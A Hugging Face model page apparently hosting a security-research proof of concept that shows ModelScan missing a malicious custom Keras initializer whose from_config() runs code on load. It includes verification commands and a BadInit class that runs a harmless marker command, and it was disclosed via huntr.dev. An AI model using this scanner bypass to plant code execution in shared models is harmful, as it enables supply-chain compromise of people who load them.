Instructions to use xiaoyaoes/modelscan-initializer-bypass with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use xiaoyaoes/modelscan-initializer-bypass with Keras:
# Available backend options are: "jax", "torch", "tensorflow". import os os.environ["KERAS_BACKEND"] = "jax" import keras model = keras.saving.load_model("hf://xiaoyaoes/modelscan-initializer-bypass") - Notebooks
- Google Colab
- Kaggle
| library_name: keras | |
| tags: | |
| - security-research | |
| - modelscan-bypass | |
| - initializer | |
| - from-config | |
| - rce | |
| # ModelScan Initializer from_config Bypass β RCE via kernel_initializer | |
| ## What This Is | |
| ModelScan's Keras scanners **only check Lambda layers**. All other serialized custom objects β including initializers, constraints, and regularizers embedded inside layer configs β are **completely ignored**. | |
| This .keras file uses a registered custom initializer (`MyInit>BadInit`) as the `kernel_initializer` for a Dense layer. ModelScan reports **0 Issues**. When loaded, the initializer's `from_config()` executes arbitrary code. | |
| ## Verify | |
| ```bash | |
| # 1. ModelScan says CLEAN | |
| modelscan -p model.keras | |
| # Output: Issues: 0, Errors: 0, Skipped: 0 | |
| # 2. Initializer is in layer config | |
| python3 -c " | |
| import zipfile, json | |
| with zipfile.ZipFile('model.keras') as zf: | |
| c = json.load(zf.open('config.json')) | |
| init = c['config']['layers'][1]['config']['kernel_initializer'] | |
| print(f'class_name: {init[\"class_name\"]}') | |
| print(f'registered: {init[\"registered_name\"]}') | |
| " | |
| # 3. Load β from_config β RCE | |
| python3 -c " | |
| import tensorflow as tf, keras, os | |
| @keras.saving.register_keras_serializable(package='MyInit') | |
| class BadInit(tf.keras.initializers.GlorotUniform): | |
| @classmethod | |
| def from_config(cls, config): | |
| import os; os.system('id > /tmp/INIT_RCE') | |
| return super().from_config(config) | |
| model = tf.keras.models.load_model('model.keras', safe_mode=False) | |
| print('RCE:', os.path.exists('/tmp/INIT_RCE')) | |
| " | |
| ``` | |
| ## Attack Surface | |
| Initializers live inside layer configs (e.g., `kernel_initializer`, `bias_initializer`). ModelScan iterates over layers but only checks `class_name == "Lambda"`. Any registered custom initializer, constraint, or regularizer escapes detection entirely. | |
| ## Disclosure | |
| Submitted to ProtectAI via huntr.dev. | |